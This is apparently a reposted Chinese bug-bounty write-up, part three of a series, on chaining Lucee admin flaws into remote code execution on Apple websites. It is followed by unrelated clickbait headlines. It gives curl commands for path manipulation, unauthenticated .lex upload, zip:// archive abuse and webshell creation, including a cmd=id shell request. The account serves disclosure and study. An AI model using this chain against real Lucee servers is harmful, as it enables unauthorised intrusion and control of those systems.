挖洞经验 | 发现Lucee 0day漏洞RCE掉三个苹果公司网站( 三 )
2、拷贝其文件名为代码执行做准备:
curl‘http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/‘
3、写入Shell代码以备后续触发代码执行操作:
curlhttps://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
4、访问webshell-https://facilities.apple.com/lucee/rootxharsh/PoC.cfm , 成功!:
另两个网站的RCE漏洞现在 , 网站facilities.apple.com的RCE已经实现 , 但由于在旧版本Lucee中没有imgProcess.cfm文件 , 所以我们需要发现其它可以可以触发RCE的漏洞通道 。 果然 , 最终我们发现了一个有意思的方式 。
未授权的.lex格式文件上传经分析发现 , 文件ext.applications.upload.cfm可以实现部份未授权操作 , 其代码片段非常简单 , 需要把extfile形式参数的文件名扩展格式设置为.lex , 否则 , 就会抛出运行异常 。
<cfifnotstructKeyExists(form,"extfile")orform.extfileeq"">...</cfif><!---trytoupload(.zipand.re)---><cftry><cffileaction="upload"filefield="extfile"destination="#GetTempDirectory#"nameconflict="makeunique"/><cfifcffile.serverfileextneq"lex"><cfthrowmessage="Only.lexisallowedasextension!"/></cfif><cfcatch>...</cfcatch></cftry><cfsetzipfile="#rereplace(cffile.serverdirectory,'[/]$','')##server.separator.file##cffile.serverfile#"/>其对.lex格式文件的后续处理为:
<cfifcffile.serverfileexteq"lex">...type="#request.adminType#"...</cfif>由于我们未对request.admintype做过先前设置 , 因此 , 这里抛出运行异常 。 然而 , 在该步之前 , 我们的文件却仍然被成功上传了 , 可以从以下截图发现:
文章图片
本来一个.lex格式文件也没什么 , 但这里的情况是 , lex文件可以是zip压缩格式 , 是目标网站中我们可以成功上传的Lucee形式文件 , 而且没有任何内容安全过滤限制 , 那我们就可以任意上传了 。 漏洞利用经过对Lucee的测试 , 我们了解它支持zip://,file://等协议形式 , 也即这里我们可在可控的luceeArchiveZipPath变量中指定这些协议形式 , 进行深入利用 。 重点是 , 我们可以用文件ext.applications.upload.cfm创建具备.lex扩展名后缀的文件 , 该文件内容匹配正则表达式”#stText.x.f#” , 且文件名为server..cfm 。 一旦我们的zip压缩格式文件创建在了网站服务器中 , 那么就能利用luceeArchiveZipPath变量中的zip://协议去请求其中包含..cfm文件的ZIP格式存档了 。 在另外两个网站服务端中实现RCEShell1、创建一个内容匹配”#stText.x.f#” , 且名为server..cfm的文件 , 把它zip打包为payload.lex 。
文章图片
2、把payload.lex通过ext.applications.upload.cfm文件中的上传功能进行上传:
curl-vv-Fextfile=@payload.lexhttps://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
3、我们可以用zip://形式请求其中上传的payload.lex:
curlhttps://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
4、之后 , 我们的目标文件server..cfm就会被以文本方式添加到位于网站根目录/context/exploit/下的searchindex.cfm文件中 , 即可实现对https://booktravel.apple.com//exploit/searchindex.cfm的请求;5、然后 , 请求https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell实现Shell代码写入;
6、最终形成了一个有效的Webshell-https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id , 由于苹果网站中部署了很多负载均衡应用 , 因此 , 我们得通过Burp的intruder模块去反复测试触发我们的Shell:
文章图片
总结苹果公司最终接收并修复了该漏洞 , 且要求我们在漏洞修复前不得披露该漏洞 , 最终我们收获了苹果公司$50,000的漏洞奖励 。 另外 , 我们也积极和Lucee官方联系 , 并通过限制对cfm文件的直接访问修复了其中存在的漏洞 , 这里应该会有一个CVE编号分配 。
参考来源:github
文章图片
【挖洞经验 | 发现Lucee 0day漏洞RCE掉三个苹果公司网站】
文章图片
- 爱吃黄金的生物被发现,科学家们有一个大胆的想法
- 绝美!男子西藏发现蓝色古冰川,景象令人震撼,网友:请一定要保护好
- 发现这游戏不是我想的那么简单
- 北京584路乘务员巡视发现,老年座下竟有13万元现金……
- 普拉多的霸气改装经验分享!老司机:争做之家最帅的霸道(普拉多)黑武士!
- 现在才发现,原来手机充电器还有这功能呢,卖手机的绝对不告诉你
- 三巨头就职经验,涉猎MPV/皮卡/SUV,全新野马设计师曝光
- 九峰吐鲁番兽是什么动物?中国发现2.5亿年前九峰吐鲁番兽!
- 品质中国 匠心华东——发现华东股份品质创新的密码
- 月球背面首次发现“地外生命”,嫦娥四号立了头功,引科学界热议
